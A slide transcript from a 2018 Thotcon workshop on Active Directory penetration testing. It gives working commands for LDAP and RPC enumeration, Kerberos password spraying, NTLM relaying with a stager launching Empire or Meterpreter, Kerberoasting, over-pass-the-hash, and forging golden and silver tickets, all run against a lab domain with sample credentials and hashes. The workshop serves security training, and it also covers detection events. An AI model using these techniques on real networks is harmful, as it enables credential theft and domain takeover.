Fun with LDAP, Kerberos (and MSRPC) in AD Environments

Slides from my Track X Thotcon 2018 Workshop entitled:

"Fun with LDAP, Kerberos (and MSRPC) in AD Environments"

If you want the embedded Gifs/Videos to work, I've also shared the raw PPTX on Onedrive (it's ~100MB) here:
https://1drv.ms/p/s!Aq5mEA03Lijrg9h-hsezBkUC5qwXag

Hit me up on Twitter if you want any more info: @ropnop
Scripts / tools used on my Github: http://github.com/ropnop
----------
Original Abstract:

This workshop will walk through some lesser known reconnaissance and lateral movement techniques when performing penetration tests in Active Directory environments. While tools like Bloodhound and Death Star have automated paths to DA, it's always important to have other tricks in your book and understand how to do things manually. This demo heavy workshop will include: manual LDAP and DNS reconnaissance, practical usage of Kerberos for password guessing and lateral movement, different techniques for code exec with admin privileges, effective relay techniques for unprivileged users, as well as other tips/tricks/one-liners for pentesting AD.

Transcript

1. Fun with LDAP and Kerberos* in AD environments * with some MSRPC for good measure 1 Ronnie Flathers – @ropnop - Thotcon 2018
2. Introduction • Ronnie Flathers • Appsec Pentest Lead at Uptake • Previously: • Cisco - Assessment and Penetration Team • Neohapsis 2 @ropnop github.com/ropnop blog.ropnop.com
3. Why this talk? • Automated tools are awesome, but doing things manually is more fun • Bloodhound, Powerview, CrackMapExec, Deathstar…. • Amazing projects, but how do they work? What’s under the hood? • To be an effective Windows pentester/researcher, you need to understand the underlying technologies • Manually doing things lets you be more creative! 3
4. Takeaways • More tricks for your pentester bag • Will contain multiple demos/screenshots/examples • Multiple ways to skin a cat • May not always be the best way – but gives you options! • Lots of info and commands • Slides = cheatsheet • Take these away and practice! • Giving the talk I would love to see • Lots of info • Practical examples • Tools and techniques to build upon 4
5. Agenda • Intro and Background to AD • Lay of the land – DNS and Network Recon • Working with underprivileged users • Fun with LDAP! • Fun with Kerberos! • Using Kerberos effectively from Linux • Password Spraying • Effective NTLM Relaying • More Fun with Kerberos! • Kerberoasting • Over-pass-the-hash (pass-the-ticket) • Golden and Silver Tickets 5
6. Active Directory Technologies Foundational Knowledge 6
7. What is “Active Directory”? • Microsoft’s proprietary directory service for use in Windows domain networks • Usually we are referring to a specific service in AD • AD DS – Active Directory Domain Services • Provides centralized and standardized management of network resources (“objects”) • Users, Groups, Computers, Policies, etc • Relies on different protocols/technologies to provide: • Location lookup • Management of objects • Access – auth(n/z) 7 https://blogs.technet.microsoft.com/ashwinexchange/2012/12/18/understanding-active-directory-for-beginners-part-1/
8. Core AD Technologies • DNS • Required for resource lookups • Clients have to use DNS to find DCs (SRV records) • LDAP • Directory access protocol – how to store and look up objects • Standard (RFC4511), but Microsoft modified it • Kerberos • Authentication / Single-Sign-On • Standard (RFC4120), but Microsoft modified it 8 There are lots of other protocols/tech in play on AD networks: • NetBIOS • MS-RPC, e.g: • NETLOGON • SAMR • NTLM Authentication In summary, “AD” is a hodge-podge of different protocols and technologies, but these are the 3 big ones
9. Working with AD Protocols • Most AD protocols are open and standardized (and backwards-compatible) • Don’t have to rely on Windows to talk to AD. • I’ll do everything from Linux. Python >> Powershell (fight me) 9 • DNS • dig • nslookup • LDAP • ldapsearch • Kerberos • Heimdal Kerberos • MIT Kerberos • MS-RPC • Samba • Python Impacket (my favorite)
10. Lay of the Land Passive recon through DNS, LDAP and NetBIOS 10
11. Situation • You are dropped on an internal network with no credentials or information, but have an IP address • First steps: • Is there an AD Domain here? • What is its name? • Where are the Domain Controllers? • What AD Computers can you reach? • Let’s do some AD recon! 11
12. Discover Nameservers and Domain • Lots of time this is set through DHCP • Fire up Wireshark before you plug in! 12
13. Discover Nameservers and Domain • Alternatively, use Nmap to send the DHCP request and parse the response 13 nmap --script broadcast-dhcp-discover
14. Find AD-DS through DNS • AD-DS relies on SRV records for service discovery. Most useful and common ones: • _gc._tcp – global catalog (LDAP for entire forest) • _ldap._tcp – ldap servers • _kerberos._tcp – Kerberos KDC • _kpasswd._tcp – Kerberos password change server 14 dig -t SRV _gc._tcp.lab.ropnop.com dig -t SRV _ldap._tcp.lab.ropnop.com dig -t SRV _kerberos._tcp.lab.ropnop.com dig -t SRV _kpasswd._tcp.lab.ropnop.com
15. Find AD-DS through DNS 15 nmap --script dns-srv-enum --script-args “dns-srv-enum.domain=‘lab.ropnop.com’”
16. Domain Meta-Data Through LDAP • Once LDAP servers are discovered, we can query for some “metadata” about the domain through LDAP • LDAP allows a few unauthenticated operations - to discover functionality levels • To actually retrieve LDAP data, you usually have to be authenticated • Anonymous binds are sometimes enabled though - worth checking! 16 ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -b '' -s base '(objectclass=*)'
17. Domain Meta-Data Through LDAP 17 … dsServiceName: CN=NTDS Settings,CN=PDC01,CN=Servers,CN=Default- First-Site-Name ,CN=Sites,CN=Configuration,DC=lab,DC=ropnop,DC=com namingContexts: DC=lab,DC=ropnop,DC=com … defaultNamingContext: DC=lab,DC=ropnop,DC=com … rootDomainNamingContext: DC=lab,DC=ropnop,DC=com … supportedSASLMechanisms: GSSAPI … dnsHostName: pdc01.lab.ropnop.com ldapServiceName: lab.ropnop.com:pdc01$@LAB.ROPNOP.COM serverName: CN=PDC01,CN=Servers,CN=Default-First-Site- Name,CN=Sites,CN=Configu ration,DC=lab,DC=ropnop,DC=com … … domainFunctionality: 6 forestFunctionality: 6 domainControllerFunctionality: 6 Example, snipped output • Default naming context • DN of server • Domain Functionality Level Value Forest Domain Domain Controller 0 2000 2000 Mixed/Native 2000 1 2003 Interim 2003 Interim N/A 2 2003 2003 2003 3 2008 2008 2008 4 2008 R2 2008 R2 2008 R2 5 2012 2012 2012 6 2012 R2 2012 R2 2012 R2 7 2016 2016 2016 https://serverfault.com/a/512292
18. Finding Hosts with NetBIOS • AD uses NetBIOS over TCP (NBT) as a fallback and for legacy systems • Can query name information about hosts with NBT Name Service - including reverse lookups (IP -> Name) 18 nbtscan 172.16.13.13 nbtscan -r 172.16.13.0/24
19. AD Recon Summary • In summary, from outside a Domain, we can query through DNS, NetBIOS and LDAP to find: • Domain name (lab.ropnop.com) • Domain Controllers • LDAP servers (pdc01.lab.ropnop.com) • Kerberos servers (pdc01.lab.ropnop.com) • DC functionality level (2012 R2) • Computer NetBIOS names • WS01WIN7 • WS02WIN7 • WS03WIN10 • PDC01 19
20. Unprivileged Access Working with non-admin users 20
21. You can’t always be Admin • Scenario: we have a valid domain username and password - but they’re very underprivileged • Not a member of any groups • Not a local admin on any machines • What can we do? • Even with no privileges, a domain account is our foothold to a ton of information 21 You can’t always Pwn3d!… Have admin? Make it rain shells: https://blog.ropnop.com/using-credentials-to-own-windows-boxes/
22. MS-RPC Calls • Microsoft Remote Procedure Call (MS-RPC) is based off DCE-RPC • Made up of several different protocols that let computers in a domain talk to each other • Uses named pipes (RPC over SMB) or plain TCP for transport • Name pipes more common (445/tcp) 22 All “net” commands are doing MS-RPC under the hood
23. Under the hood - MS-RPC 23 net user thoffman /domain • Open SMB connection to Domain Controller • Request IPC$ Share • Bind to samr named pipe • Security Account Manager Remote • Makes multiple SAMR queries • EnumDomains • LookupDomains • LookupNames • QueryUserInfo • GetGroupsForUser • etc…
24. Communicating with MS-RPC • Although proprietary, there are other implementations and you don’t need Windows to talk MS-RPC 24 • Impacket • Python implementation of the MS-RPC stack • Amazing library and suite of tools • examples/ • https://github.com/CoreSecurity /impacket • Samba • rpcclient • smbclient • net • https://www.samba.org/samba/do cs/current/man-html/
25. MS-RPC Protocols • The reason we love admin (“Pwn3d!”) is the RPC calls to execute code require local admin privs: • svcctl - remotely create/start/stop services (psexec) • atsvc - remotely create tasks • DCOM - Remote COM access (wmiexec, mmcexec) • But other RPC calls can be used to query information and perform recon (and don’t require admin!): • samr - query the local SAM database (users, groups, etc) • lsarpc - query Local Security Authority for SIDs, policies, etc 25
26. Recon with rpcclient • Scenario: we have a username and password, but he’s not admin anywhere so we can’t get a foothold • Let’s perform some recon, as if we were on a domain joined machine: • net users /domain • net localgroup administrators • net group “Domain Admins” /domain 26 Got an RPC session - good to go!
27. rpcclient commands • Implements a lot of MS-RPC protocols • rpcclient $> help 27 NETLOGON • dsr_getdcname • Get DC info • dsr_enumtrustdom • Get domain trust info (e.g. forest) LSARPC • lsaquery • get domain name and SID • lookupsids <SID> • Resolve SID to name • lookupnames <NAME> • Resolve name to SID SAMR • Note: will query local SAM (diff. results if on DC) • Note: Win10 Anniversary Edition locked this down • enumdomains • Domains in local SAM • enumdomusers • “net user” • enumdomgroups • “net group” • queryuser <RID> / <name> • “net user <user>” • querygroupmem <rid> • “net group <group>” • getdompwinfo • get password complexity policy
28. Working with SIDs/RIDs • Each object in AD has a Security Identifier (SID) • <Domain SID> - <RID> • thoffman S-1-5-21-1654090657-4040911344-3269124959-1108 • Most RIDs start at 500, and there’s some common ones you can always check for: • 0x200 (512) - Domain Admins • 0x201 (513) - Domain Users • 0x207 (519) - Enterprise Admins • Usually, domain users start around RID 0x3e8 (1000) and then increment 28
29. Local SAM Lookups • The local SAM is still really valuable - it maintains the list of local groups, including administrators • net localgroup administrators • Possible to query it through some additional commands: • enumalsgroups builtin • Query the local SAM for local groups • queryaliasmem builtin 0x220 • 0x220 is the Local Administrators group • Returns SIDs • lookupsids <SID> • resolve SIDs to user / group names 30 Credit: http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html
30. Finding Local Administrators 31
31. Or with Impacket… • I wrote a PoC script to enum local admins using Impacket: • https://gist.github.com/ropnop/7a41da7aabb8455d0898db362335e139 32
32. RID Cycling • RID Cycling is a well known attack to enumerate domain objects by bruteforcing or guessing SIDs • Works because RIDs are sequential • Performs LSAT lookups on batches of SIDs • Usually associated with null sessions - but those are increasingly rare • Impacket script: lookupsid.py • Normally performs against builtin domain SID • Add “-domain-sids” to bounce lookups to DC 33
33. lookupsid.py 34
34. Fun with LDAP Cuz MS-RPC is gross 35
35. Active Directory uses LDAP • LDAP is the underlying directory access protocol in AD • Every object exists in the LDAP “database” 36 Every DC communicates on 3 ports for LDAP by default: • 389 - LDAP • 636 - LDAPS (SSL) • 3269 - LDAP Global Catalog There are no special privileges needed to bind to LDAP - any valid account can read the entire directory*! * by default
36. LDAP Syntax - X.500 • Every object in LDAP has a “Distinguished Name” • the “path” where it exists • Every user, group and computer has a DN • CN=Trevor Hoffman,OU=users,OU=LAB,DC=lab,DC=ropnop,DC=com • LDAP is hierarchical • DC - Domain Component • The domain name • lab.ropnop.com → DC=lab,DC=ropnop,DC=com • OU - Organizational Unit • “folders” • Not standard - up to administrator to organize • CN - Common Name • The name given to the object (Username, Group name, Computer name, etc) • Each DN has multiple attributes. Some default, some can be custom. Lots of special attributes for AD 37
37. What does LDAP in AD look like? 38 dn: CN=Trevor Hoffman,OU=users,OU=LAB,DC=lab,DC=ropnop,DC=com objectClass: person objectClass: organizationalPerson objectClass: user cn: Trevor Hoffman sn: Hoffman givenName: Trevor distinguishedName: CN=Trevor Hoffman,OU=users,OU=LAB,DC=lab,DC=ropnop,DC=com instanceType: 4 whenCreated: 20170806194107.0Z whenChanged: 20180414025406.0Z displayName: Trevor Hoffman memberOf: CN=pitchers,OU=groups,OU=LAB,DC=lab,DC=ropnop,DC=com name: Trevor Hoffman objectGUID:: nSp1egl2VkKPxeRt+BDQAw== badPwdCount: 0 badPasswordTime: 131682243595127124 lastLogoff: 0 lastLogon: 131682369995100069 pwdLastSet: 131465221123491932 primaryGroupID: 513 objectSid:: AQUAAAAAAAUVAAAAoWuXYvBp2/Bf49rCVAQAAA== logonCount: 12 sAMAccountName: thoffman userPrincipalName: thoffman@lab.ropnop.com lastLogonTimestamp: 131681480460356324 The LDAP entry for the AD user: thoffman • Contains all the info for the user • Personal info • Groups • GUID / SID • Logon info • LDAP entries also exist for: • Groups • Computers • GPOs • All of this is available via LDAP queries
38. Browsing and Searching LDAP • Lots of LDAP tools and libraries • ldapsearch is common command line tool • On Windows, Sysinternal’s AD Explorer* is awesome and graphical 39 * https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer Basic ldapsearch syntax: ldapsearch <bind options> -b <base to search from> <search filter> <attributes>
39. Example ldapsearch query 40 • LLL - shorten output, remove comments and version • x - simple authentication (password) • H - hostname with protocol • h - IP address • D - bind dn • Windows userPrincipalNames are acceptable! • w - password • b - base to search from On Windows and like GUIs? AD Explorer: https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer Basic ldapsearch syntax: ldapsearch <bind options> -b <base to search from> <search filter> <attributes>
40. ldapsearch - Users 42 • “(objectClass=user)” • Interesting attributes: • sAMAccountName • userPrincipalName • memberOf (groups) • badPwdCount (failed logins) • lastLogoff (timestamp) • lastLogon (timestamp) • pwdLastSet (timestamp) • logonCount Convert AD LDAP timestamps to human readable: $ date -d "1970-01-01 $((($lastLogon/10000000)- 11676009600)) sec GMT" http://meinit.nl/convert-active-directory-lastlogon-time-to-unix-readable-time
41. ldapsearch - Groups 43 • “(objectClass=group)” • Interesting attributes: • cn (Common Name) • member (one per user/group) • memberOf (if nested in another group)
42. ldapsearch - Computers 44 • “(objectClass=computer)” • Interesting attributes: • name (NetBIOS Name) • dNSHostName (FQDN) • operatingSystem • operatingSystemVersion (patch level!) • lastLogonTimestamp • servicePrincipalName (running services) • e.g. TERMSRV, HTTP, MSSQL • Combine dNSHostName with forward DNS lookups, you can enumerate every IP address in the domain w/o scanning!
43. ldapsearch commands 45 ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -w Summer2017 -b dc=lab,dc=ropnop,dc=com "(objectClass=user)" sAMAccountName userPrincipalName memberOf | tee domain_users.lst ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -w Summer2017 -b dc=lab,dc=ropnop,dc=com "(objectClass=group)" sAMAccountName member memberOf | tee domain_groups.lst ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -w Summer2017 -b dc=lab,dc=ropnop,dc=com "(objectClass=computer)" name dNSHostname operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName | tee domain_computers.lst Note: if you get “Size Limit Exceeded”, add the paging option: -E pr=1000/noprompt
44. Nested Lookups • Microsoft added some useful “extensions” to LDAP through OIDs • “LDAP_MATCHING_RULE_IN_CHAIN” can perform recursive lookups • OID: 1.2.840.113556.1.4.1941 • Chain that with memberOf to get nested memberships for users/groups! 46 https://labs.mwrinfosecurity.com/blog/active-directory-users-in-nested-groups-reconnaissance/ ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -w Summer2017 -b dc=lab,dc=ropnop,dc=com "(&(objectClass=user)(memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=LAB,DC=ROPNOP,DC=COM))"
45. Nested Domain Admins 47 Only 2 Domain Admins?
46. Nested Domain Admins 48 Only 2 Domain Admins? Through nested groups, there’s actually 13!
47. Admin-Count • Custom Windows AD attribute: • “Indicates that a given object has had its ACLs changed to a more secure value by the system because it was a member of one of the administrative groups (directly or transitively).” • adminCount = 1 • Admin object! • Easy to filter on ☺ 49 https://msdn.microsoft.com/en-us/library/ms675212(v=vs.85).aspx
48. Why do it manually? • Pain to remember all the ldapsearch syntax • I wrote WindapSearch to automate AD LDAP lookups using Python • https://github.com/ropnop/windapsearch • Useful command line options: • -U - enumerate all Users • -G - enumerate all Groups • -m group_name - get members of a group • -C - enumerate all Computers • -r to resolve DNS to IPs • --da - recursive Domain Admin lookup • -s - fuzzy search • -l - lookup after search • -o - output directory to store TSV 50
50. Other Fun LDAP Queries • Find SPNs (for Kerberoasting) • Find users and computers with unconstrained delegation 52 ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com“ "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(Us erAccountControl:1.2.840.113556.1.4.803:=2)))" ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&((objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=5 24288))" ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.80 3:=524288))" https://blogs.technet.microsoft.com/pie/2017/06/30/credential-theft-made-easy-with-kerberos-delegation/
51. Other Fun LDAP Queries • Computers with Protocol Transition • Find GPO names and locations 53 ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com“ "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.80 3:=16777216))" ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -w Summer2017 -b dc=lab,dc=ropnop,dc=com "objectClass=groupPolicyContainer" displayName gPCFileSysPath
52. Fun with Kerberos Intro and Set Up 54
53. Kerberos Crash-Course • Kerberos can seem crazy complicated, but it’s “just” SSO (the OG SSO) • For you webapp people, it’s like SAML or OpenID • Authenticate once to a trusted source (KDC) • Don’t need to send password to every resource • KDC delegates access 55 https://docs.microsoft.com/en-us/previous- versions/windows/it-pro/windows-server- 2000/bb742516(v=technet.10) Great explanation of AD Kerberos: https://adsecurity.org/?p=227
54. Kerberos Crash-Course • Authenticate to AS with password • Get a Ticket Granting Ticket (TGT) (a la session cookie) • Request log in to SRV01 • Request access to SRV01 from Ticket Granting Service • Show TGT – I’m already authenticated • Get TGS for SRV01 • Show TGS to SRV01 • SRV01 verifies TGS • TGS has my information • SRV01 logs me in 56 Great explanation of AD Kerberos: https://adsecurity.org/?p=227 https://docs.microsoft.com/en-us/previous- versions/windows/it-pro/windows-server- 2000/bb742516(v=technet.10)
55. What does Kerberos look like? 57 Windows does A LOT behind the scenes to make this as seamless as it feels
56. What does Kerberos look like? 58 Windows does A LOT behind the scenes to make this as seamless as it feels
57. What does Kerberos look like? 59 klist shows your current Kerberos ticket cache krbtgt/* – The TGT agreen got after authenticating to the KDC cifs/* - The TGS agreen got after asking the KDC to access SMB on ws02win7 TGS’s are for specific services, not hosts
58. Kerberos and Authorization • Kerberos is an authentication protocol, not authorization • Only validates who you are, not whether you should access a resource or not • You will always get a TGS to access a service (e.g. cifs/SRV01) • It’s up to SRV01 to check whether you should actually be able to • How? Each TGT and TGS contains a Privileged Attribute Certificate (PAC) • Windows addition to Kerberos • PAC contains (among other things) all the groups the user is a part of 60
59. Kerberos from Linux • Everything we’ve done previously from Kali has been using NTLM Authentication • Challenge / response authentication using the user’s NT hash • Uses NTLMSSP and communicates with DC over NetrLogon (RPC) • But Linux can speak Kerberos too, and Windows is compatible • To speak Kerberos, need a few things: • Kerberos package • apt-get install heimdal-clients • Configuration information • KDC, Realm, etc • DNS • Synced time 61
60. Setting up Kerberos • Must add Windows AD realm to /etc/krb5.conf 62 [libdefaults] default_realm = LAB.ROPNOP.COM [realms] LAB.ROPNOP.COM = { kdc = pdc01.lab.ropnop.com admin_server = pdc01.lab.ropnop.com default_domain = pdc01.lab.ropnop.com } [domain_realm] lab.ropnop.com = LAB.ROPNOP.COM .lab.ropnop.com = LAB.ROPNOP.COM Remember, we can figure this out through DNS SRV records
61. Setting up Kerberos • DNS must be properly configured! • Point /etc/resolv.conf to the Domain Controller • Time must also be in sync! • Can use rdate to sync Kali’s time with the DC • apt-get install rdate • rdate -n <domain controller> • Note: VM tools and NTP service can screw with time sync 63
62. Get a TGT - kinit • kinit is used to check out a TGT from the KDC • kinit user@REALM • klist will list current tickets • If all is configured well, you will get a TGT from the Domain Controller 64
63. Using Kerberos • Now any tool that supports Kerberos auth can be used with your cache • Look in man pages and help • GSSAPI = Kerberos • Auth mechanism that Kerberos 5 uses • Most tools use environment variable KRB5CCNAME to point to current cache • If not set automatically, export KRB5CCNAME=/tmp/krb5cc_0 65
64. Using Kerberos • smbclient 66
65. Using Kerberos • smbclient • rpcclient 67
66. Using Kerberos • Looking at klist, we can see Heimdal Kerberos is checking out TGSs for each service we want 68
67. Using Kerberos with Impacket • All the Impacket scripts support Kerberos authentication as well • -k -no-pass • must specify host as FQDN and user as realm/user 69
68. Using Kerberos with Impacket • All the Impacket scripts support Kerberos authentication as well • -k -no-pass • must specify host as FQDN and user as realm/user 70 Note: Impacket scripts will not save TGSs in CCACHE
69. Using Kerberos with Impacket • All the Impacket scripts support Kerberos authentication as well • -k -no-pass • must specify host as FQDN and user as realm/user 71 Note: Impacket scripts will not save TGSs in CCACHE
70. When NTLM Auth is disabled • Some orgs have fully disabled NTLM and rely solely on Kerberos • Rare - it’s very hard to do • A lot of pentest tools don’t operate well in these environments • Metasploit, CrackMapExec, etc • They rely on usernames/passwords or NT hashes (pass-the-hash) • If you have a password, you can always do Kerberos auth • Just exchange the password for a TGT! • Can also “overpass-the-hash” - more on this later 72
71. NTLM Auth Disabled 73 SMB Error “STATUS_NOT_SUPPORTED” = NTLM Auth Not Supported Try Kerberos!
72. Password Guessing Because someone, somewhere is always using Password123 74
73. Password Guessing • Bruteforcing passwords in AD is generally tough • Most domains have a lockout policy - 3 failed attempts → account locked • Really noisy • Window security events are logged for every failed login attempt • Pretty slow • Usually tries SMB and has to set up and tear down a connection every attempt • Horizontal bruteforcing (spraying) is a better approach • Choose 1 or 2 common passwords, test them for every domain user • Summer2018 or Company123 75
74. Password Spraying with SMB / RPC • Realllllllyyyy noisy 77 All this traffic to test just one login To test ~1700, took about 5 mins
75. Password Spraying with SMB / RPC 78 • Generates a security event every failed attempt • Event ID 4625 • “Account Failed to Logon” https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4625
76. Other Password Guessing Techniques • NETLOGON is inefficient (e.g. SMB, rpcclient) • RDP is slow and just as noisy • LDAP binds are faster, but still result in event 4625 • But what happens here? 79
77. Password Guessing with Kerberos • Only 2 frames to check password! • And it’s UDP - no TCP overhead ☺ 80
78. Password Guessing with Kerberos • No need to get fancy, just a simple bash script: • Loop through a username list • run kinit with the username and the password • Redirect stderr to stdout and parse for expected responses • No stderr/stdout = success! • Profit? • Full scripts here: • https://github.com/ropnop/kerb eros_windows_scripts 81
79. Password Guessing with Kerberos 82 • Be careful with this • Still will lockout accounts! • Putting DC as an IP address saves us a DNS lookup each time (even faster)
80. What about logs? • Had a major WTF moment when I went to look at logs after spraying Kerberos auth for several minutes 83 Where are the failures?!
81. Kerberos Event Logging • Turns out failing Kerberos pre-authentication does not trigger a Logon failure event (4625) • Have to manually specify event logging for Kerberos (which is in a different location) • If you’re only logging on traditional “Logon failures” - you’d miss this! 84 Does not catch Kerberos pre-auth failures Have to enable these as well
82. Kerberos Event Logging • There they are! • Event 4771 (Kerberos pre-authentication failure) 85 https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771 Kerberos pre-auth is a faster, and potentially stealthier way to password brute force
83. Gaining a foothold Effective Relaying without any admins 86
84. Putting it all together • Scenario: dropped on a network with no creds and no foothold • Local Admins are rare and workstations locked down • Review: • MS-RPC calls with unprivileged users → Enumeration • LDAP queries with unprivileged users → Lots of information • Kerberos password guessing → Fast and potentially stealthier • If we can just get one unprivileged session we can do a lot… • NTLM Relaying? 87
85. Responder + ntlmrelayx • Responder is an easy way to get NetNTLMv2 hashes to crack offline • But why crack when you can relay? • NTLM Relaying is a well known and documented attack • Impacket has smbrelayx and ntlmrelayx • Combining them is an easy win • If you get lucky and relay and admin hash… • Really great overview here: • https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka- getting-a-foothold-in-under-5-minutes.html 88
86. Responder + ntlmrelayx set up • Disable all of Responder’s servers • Start Responder • Start ntlmrelayx with a targets file and a stager command to execute • e.g. Powershell one-liner to launch Empire/Meterpreter • Cross fingers and wait 89
87. When it works, it works great! 90
88. No admin - SOL? • If you’re not lucky though, you’ll just see a lot of this: 91 We successfully authenticated and opened an SMB connection, but got access denied when trying to execute the command (via svcctl) Still get their NetNTLMv2 hashes though…
89. But the SMB Connection Works! • The command failed because we didn’t have local admin privileges, but the SMB connection was actually opened and we did successfully authenticate • What can we do with an open SMB connection to IPC$? • All the fun unprivileged MS-RPC stuff I talked about earlier: • Enumerate local admins over SAMR • RID cycle domain objects through LSAT • …more? • Why waste a perfectly valid SMB connection? 92
90. Modifications to ntlmrelayx • I modified ntlmrelayx to not “waste” unprivileged SMB connections • Added two new options • --enum-local-admins • If the command execution fails, query local SAM for who has the right privileges • --rid-cycle • If the command execution fails, perform a RID cycle attack using LSAT to enumerate domain objects and save the result to a CSV • My branch here: • https://github.com/ropnop/impacket/tree/feature/enum_unprivd • Testing / feedback needed! 93
91. New features in action 94
92. An Unprivileged Foothold Strategy • Perform unauthenticated recon on domain • DNS SRV records • LDAP Metadata • NetBIOS Names • Responder + ntlmrelayx • Unprivileged MSRPC calls to enumerate Domain Users • Kerberos Password guessing • Password spray domain users with 1-2 common passwords • Authenticated LDAP binds to map rest of AD • …privilege escalation? 95
93. More Kerberos Fun Priv Esc, Dealing with Hashes 96
94. Service Principal Names • Service Principal Names (SPNs) are used in AD to tie services into Kerberos authentication • As opposed to User Principal Names (UPNs) which are tied to users • Common SPN directory: http://adsecurity.org/?page_id=183 • SPNs can help identify running services on an AD domain w/o the need for network scanning • Can be queried through LDAP: 97 ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "servicePrincipalName=*" sAMAccountName servicePrincipalName
95. Finding SPNs 98
96. Requesting TGS for SPN • Through Kerberos, you can request a TGS for a SPN • That’s what they’re designed for • E.g. to access RDP, use TGT to request TGS for TERMSRV/PDC01 • The TGS is encrypted with the service accounts NTLM password hash • It’s possible to crack TGS offline! • But cracking a TGS for a service SPN is generally useless • …unless the SPN is tied to a user account! • For service accounts, it’s common to set SPNs to user accounts • The TGS is then encrypted with the user’s NTLM password hash • Called “Kerberoasting” and presented by Tim Medin at Derbycon 2015 99 Great explanation: https://adsecurity.org/?p=2293
97. Kerberoasting • Requires a valid domain account • Three step process • Find SPNs tied to user accounts through LDAP (i.e. service accounts) • Request a TGS for each SPN • Crack the TGS offline to recover the service account’s password • Impacket makes this easy with GetUserSPNs.py • Will automatically LDAP query, then request and save TGS in JtR/Hashcat format ☺ 100 ./GetUserSPNs.py -request lab.ropnop.com/thoffman:Summer2017 Just needs full domain name, will look up the rest
98. GetUserSPNs.py 101
99. Cracking TGS Resp • Hashcat mode 13100 102 hashcat -m 13100 --force /root/tgs_hashes /usr/share/wordlists/rockyou. txt Service account with transitive DA privileges!
100. Over Pass the Hash • Passwords are great, but sometimes all we have is a hash • For NTLM auth, pass-the-hash works great*! • How can you do Kerberos auth without a password? • The AS Request to get a TGT doesn’t actually use the password directly • It encrypts the nonce with the NT hash of the password (hash = encryption key) • So you can request a TGT with only the NT hash • Called “over-pass-the-hash” • “Natively” with ktutil • With Impacket (of course) • Scenario: need TGT for ROPNOP\tgwynn • NT hash: 1a59bd44fe5bec5a39c44c8cd3524dee 103 * https://blog.ropnop.com/practical-usage-of-ntlm-hashes/
101. Over Pass the Hash - ktutil • We can add the NT hash as an arcfour-hmac-md5 encryption key to a keytab file, and use it to request a TGT 104 ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hmac-md5 -w 1a59bd44fe5bec5a39c44c8cd3524dee --hex -V 5 All credit to passing-the-hash and his blog here: http://passing-the-hash.blogspot.com/2016/06/nix-kerberos-ms-active-directory-fun.html
102. Over Pass the Hash - Impacket • ./getTGT was recently added to the examples 105 ./getTGT.py -hashes :1a59bd44fe5bec5a39c44c8cd3524dee lab.ropnop.com/tgwynn
103. Over Pass the Hash - AES • Using NT hashes with arcfour encryption could flag some Windows alerts • “Encryption downgrade” - it’s not the default encryption anymore • Modern AD uses AES256 encryption • AES keys can be extracted with Mimikatz or Secretsdump from the DC (with elevated privs) 106
104. Over Pass the Hash - with AES 107
105. Over Pass the Hash - with AES 108
106. Kerberos Persistence Silver and Golden Tickets 109
107. Forging Kerberos Tickets • Golden and Silver tickets are pretty well documented • Want to focus more on their practical usage • Using Mimikatz or Impacket, we can forge TGTs or TGSs • Golden Ticket • Forging a TGT (and the included PAC) • Requires the krbtgt key - the “master” encryption key from the KDC (Domain Controller) • Can be used to request any TGS from the Domain Controller • Silver Ticket • Forging a TGS (and included PAC) • Requires the machine account password (key) from the KDC • Can be used to directly access any service (w/o touching DC) 110
108. Golden Ticket Creation • With the krbtgt key and domain SID, can use Impacket’s ticketer.py to create a Golden Ticket: • Default duration is 10 years (but that’s suspicious) • Can also specify additional groups (default is all the admin groups) • Username can be any valid domain user (or even made up!) 111 ./ticketer.py -aesKey 9f624d71e438905afd1184e90b61777bcd500ad2fa531cfa95af8d9786b40725 -domain-sid S-1-5-21-1654090657-4040 911344-3269124959 -domain lab.ropnop.com -duration <days> - groups <RIDs> <USERNAME>
109. Golden Ticket Creation and Usage 112
110. Silver Ticket Creation • Useful for persistence to a single host/service combo • Stealthier than Golden Tickets - you never need to actually contact the DC • Need the machine accounts Kerberos key • Machine accounts usually end in $ • Must specify the service you need • e.g. cifs/ws03win10.lab.ropnop.com • For code execution, you usually need CIFS and/or HOST 113 Explanation of silver tickets and useful services: https://adsecurity.org/?p=2011 ./ticketer.py -nthash a02450646974012c437618d1b39fff13 -domain-sid S-1-5- 21-1654090657-4040911344-3269124959 -domain lab.ropnop.com -spn cifs/ws03win10.lab.ropnop.com MadeUpUser
111. Silver Ticket Creation and Usage 114
